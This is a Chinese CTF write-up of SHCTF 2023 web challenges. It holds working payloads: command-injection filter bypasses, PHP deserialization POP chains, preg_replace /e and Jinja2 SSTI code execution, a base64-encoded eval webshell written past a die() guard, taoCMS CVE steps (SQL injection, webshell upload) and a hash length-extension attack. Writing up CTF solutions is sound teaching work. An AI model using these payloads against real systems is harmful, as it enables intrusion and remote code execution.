SHCTF-校外赛道 2023 WEB部分题解wp()

news2024/11/20 20:22:18

[WEEK1]babyRCE

开题,直接给了源码,简单过滤。

image-20231002150620364

被过滤绕过方法
cat/tacuniq
flagfla?
空格%09

payload:

?rce=ls%09/

?rce=uniq%09/fla?

image-20231002151349821

[WEEK1]1zzphp

考点:intval()函数绕过(数组)、PCRE回溯次数限制绕过

直接给了源码:

image-20231002141143235

<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
} 

分析源码,我们若想执行echo $flag;,需要满足if(intval($num));不满足if(preg_match("/[0-9]/", $num))if(preg_match('/.+?SHCTF/is', $code))if(stripos($code,'2023SHCTF') === FALSE)这三个条件。

首先是第一部分,intval()函数绕过(数组),我们要满足$num里面没有数字(preg_match检测不出来),同时满足intval($num)为1(true)。

这里采用数组绕过。preg_math()传入数组参数会直接返回0,同时intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1故此传入?num[]=1,产生错误返回1。

?num[]=1

然后是第二部分,PCRE回溯次数限制绕过。要不满足if(preg_match('/.+?SHCTF/is', $code))if(stripos($code,'2023SHCTF') === FALSE)这两个条件,就是preg_match()函数检测不出字符串什么什么SHCTF,但是stripos()要检测出字符串2023SHCTF

代码有强制类型转换$code = (String)$_POST['c_ode'];,不能采用数组绕过。因为preg_match()函数包含.+?,我们采用PCRE回溯次数限制绕过来绕过preg_match()函数的检测,脚本如下:

import requests

res = requests.post("http://112.6.51.212:32674/?num[]=1",data = {"c_ode":"-"*1000000+"2023SHCTF"})
print(res.text)

image-20231002142717475

注意点:

2023SHCTF字符串放后面,因为回溯限制,回溯百万次后就不匹配了(前面的一百万字符),后面2023SHCTF的不会被preg_match()函数匹配。

[WEEK1]ez_serialize

题目描述:听说你会PHP反序列化漏洞?不信,除非can_can_need_flag

直接给了源码:

image-20231002151443763

构造简单POP链,学会魔术方法就行了。

__invoke(),调用函数的方式调用一个对象时的回应方法。

__get(),读取不可访问属性的值时,会被调用。

__toString() ,用于一个类被当成字符串时的回应。

链子:

B::__wakeup()->
C::__toString()->
D::__get($key)->
A::__invoke()

过滤不用管,匹配到了只是echo,又不die出。

EXP: (flag文件位置按经验猜)

<?php
highlight_file(__FILE__);
class A{
    public $var_1;

    public function __invoke(){
        include($this->var_1);
    }
}
class B{
    public $q;
    public function __wakeup()
    {
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
    }
}
class C{
    public $var;
    public $z;
    public function __toString(){
        return $this->z->var;
    }
}
class D{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
/*
B::__wakeup()->
C::__toString()->
D::__get($key)->
A::__invoke()
*/
$jay17=new B();
$jay17->q=new c();
$jay17->q->var="xxx";
$jay17->q->z=new D();
$jay17->q->z->p=new A();
$jay17->q->z->p->var_1="php://filter/read=convert.base64-encode/resource=flag.php";
echo urlencode(serialize($jay17));

image-20231002154705259

[WEEK1]登录就给flag

开题,要求我们登录。

image-20231002143524192

直接开始爆破,账号admin。爆破得到密码是password

image-20231002143943788

image-20231002143950327

[WEEK1]飞机大战

前端游戏题。

image-20231002154934408

flag在源码里面,自己解码一下。

image-20231002155120788

[WEEK1]ezphp

直接给了源码:
image-20231002161050296

仔细阅读逻辑发现,算是没过滤了。是先过滤,再赋值,过滤时候$code总是为空。

if(!preg_match(".....",$code))
    {
        $code=$_GET['code'];

特征代码一下子就能发现。preg_replace()的/e模式存在命令执行漏洞。可以参考:深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

payload:

GET:?code=${phpinfo()}

POST:pattern=\S*

flag在phpinfo里面。

image-20231002161342232

[WEEK1]生成你的邀请函吧~

题目描述:

API:url/generate_invitation  
Request:POST application/json  
Body:{  
    "name": "Yourname",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

使用POST json请求来生成你的邀请函吧flag就在里面哦


开题:

image-20231002144102109

应该是考察json格式发包,按照提示来就行了。

image-20231002145552328

会下载一个文件。

image-20231002145653058

flag在里面

image-20231002145710787

[WEEK2]serialize

直接给了源码,乍一看是PHP反序列化中的POP链构造。

image-20231010220237833

一、倒推一下,终点应该是milaoshu::__tostring()

二、misca::__get()方法中的die()函数可以调用milaoshu::__tostring()方法。不要被die吓到,虽然会直接结束运行,但是顺序是先触发milaoshu::__tostring(),再die出程序。

die()exit(),参数可以是字符串和数字,你传个类进去肯定是当作字符串了啊,那就触发了那个类(参数)的__tostring()魔术方法。

image-20231010220832396

三、musca::__weakup()方法可以调用misca::__get()方法。

所以最终链子如下:

musca::__weakup()->
misca::__get()->
milaoshu::__tostring()

先造个EXP看看:

<?php

class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}


$a=new musca();

$a->ding=new misca();
$a->dong="Jay17";   //不存在的属性。

$a->ding->a=&$a->ding->gao;   //变量引用绕过miaomiao()方法。
$a->ding->fei=new milaoshu();

$a->ding->fei->v="/etc/passwd";

echo serialize($a);

生成的payload:

O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:11:"/etc/passwd";}s:1:"a";R:3;}s:4:"dong";s:5:"Jay17";}

还剩下两个问题,一是传参,二是绕过正则。

传参问题用PHP字符串解析特性:

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  • 删除空白符
  • 将某些字符( [ 空格 + . )转换为下划线

实际应用:

  • get传参NSS_JAY,不能直接传时,传NSS[JAY。
    //php的变量解析绕过,[ 被处理成 _
  • 当[提前出现后,后面的 . 就不会再被转义成_了。
  • 当这些字符为首字母时,只有点号会被替换成下划线

所以我们GET提交的参数应该是:wanna[fl.ag

绕过正则,我们有两种办法。一是用O:+数字代替O:数字。二是再在外面包一层数组。

方法一:暂时不能用来解本题。

方法二:外面包一层数组

<?php

class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}


$a=new musca();

$a->ding=new misca();
$a->dong="Jay17";   //不存在的属性。

$a->ding->a=&$a->ding->gao;   //变量引用绕过miaomiao()方法。
$a->ding->fei=new milaoshu();

$a->ding->fei->v="php://filter/read=convert.base64-encode/resource=flag.php";

$b[]=$a;
echo serialize($b);

payload:

?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:5:"Jay17";}}

image-20231019091923919

[WEEK2]no_wake_up

源码直接给了。

image-20231019092706691

<?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']);

考察了PHP反序列化绕过__wakeup()。可以看看:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客

PHP版本是7.0.9

image-20231019092926260

我们采用fast-destruct来绕过。原理是GC回收机制。

先写个EXP:

<?php
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}

$a=new flag();
$a->username = "admin";
$a->code = "php://filter/read=convert.base64-encode/resource=flag.php";

echo serialize($a);

生成:

O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

删掉末尾的花括号即可触发fast-destruct

payload:

?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";

image-20231019194721495

[WEEK2]ez_rce***

题目描述:attack subprocess call(攻击子进程调用)

附件给了源码:

from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp,i)
    return tmp

def sett(obj,arg,num):
    tmp = obj
    for i in range(len(arg)-1):
        tmp = getattr(tmp,arg[i])
    setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
    c = gett(subprocess,giveme)
    tmp = list(c)
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess,giveme,tmp)

def cmd(arg):
    subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
    try:
        if request.args.get('exec')=='ok':
            shell = request.args.get('shell')
            cmd(shell)
        else:
            exp = list(request.get_json()['exp'])
            num = int(request.args.get('num'))
            bol = bool(request.args.get('bol'))
            hint(exp,num,bol)
        return 'ok'
    except:
        return 'error'
    
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

[WEEK2]MD5的事就拜托了

直接给了源码,考察MD5。

image-20231011211708754

整理一下,我们可以通过满足条件得到$flag的MD5和$flag的长度。然后我们需要算出md5($flag.urldecode($num))


一、如何获得$flag的MD5

判断条件:

extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
	echo(md5($flag));
    echo("</br>");
}

函数解释:

parse_url()

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

输出:
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

extract():用来将变量从数组中导入到当前的符号表中。

如果要满足$$$scheme==='SHCTF',我们可以使[scheme] => host,导致$$host==='SHCTF';再使得[host] => user导致$user==='SHCTF',就满足条件。

相关数组构建:

Array
(
    [scheme] => host
    [host] => user
    [user] => SHCTF
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

传参:(POST)

SHCTF=host://SHCTF:password@user/path?arg=value#anchor

得到flag的MD5值:dbef700745bd5917d2c60821aab91d8d

image-20231011212941560


二、如何获得$flag的长度

判断条件:

if(isset($_GET['length'])){
	$num=$_GET['length'];
	if($num*100!=intval($num*100)){
		echo(strlen($flag));
		echo("</br>");
	}
}

intval()函数是取整,不保留小数。

传参:(GET)

?length=1.1111111

得到flag长度是42

image-20231011213719200

后来验证1.1也可以,想不明白为什么。。。。。

image-20231011213343500


三、算出md5($flag.urldecode($num))

$num我们可以自定义。

哈希扩展长度攻击的条件:md5("密文"+"已知字符串")=已知哈希值。由此条件我们可以获得md5("密文"+"处理过的已知字符串")=处理过的已知哈希值

关键思路:我们现在的条件是md5($flag)=已知哈希值,是不是也是md5("$flag少一个花括号"+"}")=已知哈希值

hashpump工具用法:文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串"}"
Input Key Length                   #为密文长度"41"
Input Data to Add                  #为补位后自己加的字符串(自定义)

image-20231011220539875

e4d9c26257dc63b7f1a2ae3f9e72fa01

}\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00Jay17

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值。就是md5($flag+"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00Jay17")=e4d9c26257dc63b7f1a2ae3f9e72fa01

\x换成%然后url编码一下就行。

payload:

GET:
?length=%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500P%2501%2500%2500%2500%2500%2500%2500Jay17

POST:
SHCTF=e4d9c26257dc63b7f1a2ae3f9e72fa01

image-20231011220943351

[WEEK2]ez_ssti

经典SSTI,GET传参name就行。

image-20231019195045211

我们选择用popen函数执行命令,其他五种执行命令方式同理。

先测测os模块在哪

{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}

定位132

image-20231019195318731

没有过滤,payload:

?name={{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}

image-20231019195352791

[WEEK2]EasyCMS

开题,是taoCMS

image-20231019195447306

这个CMS有两个CVE,分别是CVE-2021-44915CVE-2022-25578

先看CVE-2021-44915

路由/admin/admin.php是后台,登录账号和密码默认是admin、tao,选择管理栏目菜单。

image-20231019202601305

点击编辑,然后随便改点内容,提交时候抓包。

image-20231019202719867

image-20231019203016486

id是注入点。直接拿sqlmap跑就行了。

再看CVE-2022-25578

路由/admin/admin.php是后台,登录账号和密码默认是admin、tao,选择文件管理

image-20231019200832094

是否还记得文件上传中的.htaccess配置文件绕过发,在这个文件中加入一句AddType application/x-httpd-php .jpg,将所有jpg文件当作php文件解析。

image-20231019201249212

但是这里没有/pictures目录,本来应该在/pictures新建一个jpg文件,内容是一句话马。

image-20231019201709662

所以说这里是无法使用CVE-2022-25578来任意命令执行的。

我们等价替换一下,直接改了index.php的源码,内容换成一句话木马。

image-20231019202436142

[WEEK3]快问快答

题目描述:

男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

一看就是需要写脚本的题目。要求两秒以内回答,连续回答50题。

image-20231019203914413

先抓个包看看,重要请求头如下:

Cookie: PHPSESSID=e313320de60a72577f25da74fb6a3bdb; session=eyJjb3VudGVyIjo1LCJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NzcxOTExOS41MzY1NzV9.ZTEjTw.-Xs2_MbzxDUqILiUvJcNdrmsyPk

answer=11

image-20231019204036891

再看一下返回包:

image-20231019204432710

注意一点,题目替换了一些符号:

题目符号数学符号
x*
异或^
&
÷// (整除)

根据包和字符替换写的脚本如下:

脚本如下:

#Author:Jay17
import re
import requests
import time

url = 'http://112.6.51.212:32329/'
res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.get(url)   #发get包,获取题目
time.sleep(1)  # 睡一秒

for i in range(1, 99):
    math = ""
    n=0
    resTest = response.text            #获取返回包的内容
    print(response.text)
    for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)
        if resTest[j - n] == ":":
            if resTest[j]=="=":
                break
            math = math + resTest[j]
            n+=1

    # strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列
    math = math.strip('=')      #去掉末尾等号
    math = math.strip(':')  # 去掉开头冒号
    math = math.strip(' ')  # 去掉首尾空格

    #替换字符
    math = re.sub(r'x', '*', math)
    math = re.sub(r'÷', '//', math)
    math = re.sub(r'异或', '^', math)
    math = re.sub(r'与', '&', math)

    print(math)

    num = eval(math)       #计算数学表达式的值

    myData = {   #构造的POST数据
        'answer': num
    }

    # 更新session
    #cookie = res.headers.get("Set-Cookie")
    # 更新http头
    #h_s = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie}
    #监听:,proxies={"http":"127.0.0.1:8080"}
    response = res.post(url, data=myData,proxies={"http":"127.0.0.1:8080"}) #发post包,提交答案,并且获取返回包,获取下一个计算式
    print(response.text)          #打印当前返回包的内容
    time.sleep(1)  # 睡一秒

    if "flag{" in response.text:       #如果返回包里面有flag
        print("\n\n\nFlaggggggggg: ", response.text)
        exit() # 退出当前程序,也可以break

image-20231019213208729

[WEEK3]sseerriiaalliizzee

题目描述:don’t want to die

直接给了源码:

image-20231020120534580

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 

第一眼肯定觉得直接反序列化一个Start类,直接就能包含flag.php获得flag了。但是问题是包含了不回显啊。所以我们要重新找条链子。

image-20231020120909957

真实链子如下:

Start::__construct()->
Start::__toString()->
CTF::dosomething()

只有一个问题,就是如何绕过死亡die,成功写入文件:

$useless   = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);

我们使用base64绕过,同时这里是不同变量。

<?php $filename=$_GET['filename']; $content=$_GET['content']; file_put_contents($filename,"<?php exit();".$content); **绕过原理: **通过base64解密或rot13解密使"<?php exit();"变为乱码,而传入的$content为base64编码,解码后为正常shell语句。通过这种方式使前者失效。 **构造payload:** base64 ?filename=php://filter/convert.base64-decode/resource=1.php&content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== (也可以是php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php,自动将<?php?>全部删掉)

由此原理我们可以构造EXP:

<?php
class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
        return $this->barking->dosomething();
    }
}
class CTF{
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;

    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";

    }
}
$a=new Start();
$a->barking=new CTF();
$a->barking->part1="php://filter/convert.base64-decode/resource=17.php";
$a->barking->part2="PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==";

echo serialize($a);

payload:

code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:50:"php://filter/convert.base64-decode/resource=17.php";s:5:"part2";s:32:"PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==";}}

文件写入成功,但是没有回显或出现乱码。

image-20231020123559273

image-20231020123118585

原因是base64位数不符合。自己拿在线网站解密一下就知道了。

image-20231020123632740

解决办法是补位,在base64的恶意代码前面补两个字符。

image-20231020123652845

由此我们最终payload是:

code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:50:"php://filter/convert.base64-decode/resource=17.php";s:5:"part2";s:34:"aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==";}}

image-20231020123759226

[WEEK3]gogogo

开题,题目提示我们要变成admin身份。

image-20231030175648976

先看看他是怎么判断身份的。应该是cookie中的session。

image-20231030175750734

但是头大的是,这个session我们暂时无法解密。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1154710.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据之LibrA数据库系统告警处理(ALM-12005 OKerberos资源异常)

告警解释 告警模块对Manager中的Kerberos资源的状态进行监控&#xff0c;当Kerberos资源异常时&#xff0c;系统产生此告警。 当Kerberos资源恢复时&#xff0c;且告警处理完成时&#xff0c;告警恢复。 告警属性 告警参数 对系统的影响 Manager中的Kerberos资源异常&#…

网课 - 网页视频-倍速播放-快进-拖动进度条-增大音量 - 火狐Firefox浏览器

本文使用的浏览器为火狐Firefox浏览器。 用浏览器播放视频&#xff0c;比如看网课、看在线电影电视剧时&#xff0c;经常能遇到的情况与解决方案&#xff1a; 音量太小&#xff0c;即使调整到100%还是不够响亮 这时可以安装插件“600% Sound Volume”, 安装之后可在原来音量的…

843. n-皇后问题

文章目录 QuestionIdeasCode Question n− 皇后问题是指将 n 个皇后放在 nn 的国际象棋棋盘上&#xff0c;使得皇后不能相互攻击到&#xff0c;即任意两个皇后都不能处于同一行、同一列或同一斜线上。 现在给定整数 n &#xff0c;请你输出所有的满足条件的棋子摆法。 输入格…

mybatis-plus 使用 mybatis-plus-join 增强多表关联查询能力

一、mybatis-plus-join mybatis-plus 原生的能力不支持多表关联&#xff0c;对于这种场景只能通过写SQL进行实现&#xff0c;而mybatis-plus-join 则是建立在 mybatis-plus 基础之上的扩展框架&#xff0c;可以在不影响原有能力之上通过简单的API即可实现多表关联能力而无需编…

致远OA wpsAssistServlet任意文件上传漏洞复现 [附POC]

文章目录 致远OA wpsAssistServlet任意文件上传漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 致远OA wpsAssistServlet任意文件上传漏洞复现 [附POC] 0x01 前言 免责声明&#xff1a;请勿利用…

突破时空局限:数字调度系统引领煤炭行业新纪元

随着社会经济的发展&#xff0c;能源需求不断增加&#xff0c;煤炭作为重要的能源资源&#xff0c;在全球能源结构中扮演着重要角色。然而&#xff0c;煤炭行业面临着许多挑战&#xff0c;包括资源开采的不可回复性、环境污染问题以及安全生产隐患等。在这样的背景下&#xff0…

Android Groovy 迁移到 KTS

文章目录 Groovy 迁移到 KTS概述迁移流程setting.gradleproject/build.gradlemodule/build.gradle处理ext扩展函数依次创建如下目录和文件使用 源码 Groovy 迁移到 KTS 概述 Android Studio是使用Gradle来编译&#xff0c;而默认的构建语言是Groovy&#xff0c;但是Gradle实际…

竞赛选题 深度学习图像风格迁移

文章目录 0 前言1 VGG网络2 风格迁移3 内容损失4 风格损失5 主代码实现6 迁移模型实现7 效果展示8 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习图像风格迁移 - opencv python 该项目较为新颖&#xff0c;适合作为竞赛课题…

你真的会学习网络安全吗?

我敢说&#xff0c;现在网上90%的文章都没有把网络安全该学的东西讲清楚。 为什么&#xff1f;因为全网更多的都是在讲如何去渗透和公鸡&#xff0c;却没有把网安最注重的防御讲明白。 老话说得好&#xff1a;“攻击&#xff0c;是为了更好的防御。”如果连初衷都忘了&#xff…

Grafana 图表 Table 根据 Key 修改背景颜色

文章目录 前言1. 配置过程1.1 创建 override1.2 Add override property1.3 Value mappings 2. 效果展示 前言 需要配置一个备份任务的 Dashboard 展示备份的状态&#xff0c;如果备份状态是 Completed 表示正常&#xff08;绿色背景&#xff09;&#xff0c;如果是 Error 表示…

LOGO设计工具都有哪些?分享这6款

如果一个品牌想要脱颖而出&#xff0c;它必须有一个令人印象深刻的品牌标志。创建一个专业的标志&#xff0c;设计师不能简单地用刷子手绘&#xff0c;必须使用专业的标志设计软件来制作。 市场上有各种各样的标志设计软件&#xff1a;桌面、在线应用、免费&#xff0c;甚至人…

Kubernetes深度剖析,从基础到高级,带你领略K8s的魅力

一、Kubernetes 是 Google 团队发起并维护的基于 Docker 的开源容器集群管理系统&#xff0c;它不仅支持常见的云平台&#xff0c;而且支持内部数据中心。 建于 Docker 之上的 Kubernetes 可以构建一个容器的调度服务&#xff0c;其目的是让用户透过 Kubernetes 集群来进行云端…

星环科技分布式向量数据库Transwarp Hippo正式发布,拓展大语言模型时间和空间维度

随着企业、机构中非结构化数据应用的日益增多以及AI的爆发式增长所带来的大量生成式数据&#xff0c;所涉及的数据呈现了体量大、格式和存储方式多样、处理速度要求高、潜在价值大等特点。但传统数据平台对这些数据的处理能力较为有限&#xff0c;如使用文件系统、多类不同数据…

0002net程序设计-net家电维修保养信息系统

文章目录 **摘要**目录系统设计开发环境 摘要 家电维修保养信息系统提供给用户一个家电信息管理的网站&#xff0c;最新的家电信息让用户及时了解维修知识,保养方式的同时,还能通过交流区互动更方便。本系统采用了B/S体系的结构&#xff0c;使用了net技术以及SQL SERVER作为后…

uniapp 关于 video 组件的缩放比例问题

在 container 样式的 padding-bottom 设置比例值 9/16 比例值&#xff1a;56.25% 3/4 比例值&#xff1a;75% <view class"container"><video class"video-box" src"xxx.mp4" /> </view> .container {position: relative;wid…

【STL】:list用法详解

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关list的使用&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数据结构…

SQL注入思路扩展

目录 一、资产搜集 二、开始sql注入常规流程 三、sqlmap验证 总结&#xff1a;测试sql注入的时候不要只局限于明文传输&#xff0c;也要注意编码或者加密后的值。 还没看够&#xff1f;欢迎关注&#xff0c;带你走进黑客世界&#xff0c;下面也有免费的靶场视频 一、资产搜…

HCIA --- 综合实验(结束)

一、实验拓扑及要求 二、整体IP规划 三、解决方案 四、解决步骤配置命令 一、基本部分 一、交换机 1、创建对应VLAN&#xff0c;对应接口划入对应VLAN中&#xff0c;创建Trunk干道&#xff0c;配置HTTP服务器IP LSW1 [sw1]vlan batch 2 to 3 [sw1]interface e0/0/1 [sw1-E…

idea提交代码一直提示 log into gitee

解决idea提交代码一直提示 log into gitee问题 文章目录 打开setting->Version control->gitee,删除旧账号&#xff0c;重新配置账号&#xff0c;删除重新登录就好 打开setting->Version control->gitee,删除旧账号&#xff0c;重新配置账号&#xff0c;删除重新登…

部署前端项目到宝塔面板(腾讯阿里服务器均适用)

写在前面&#xff0c;本网站部署的是前端nuxt.js项目&#xff0c;后端部分在本人的其他博文&#xff0c;请移步 【起步】服务器端 打开自己的轻量服务器的管理面板 确保服务器已经打开&#xff0c;如下图所示 来到域名列表&#xff0c;解析域名&#xff0c;如下图所示 的…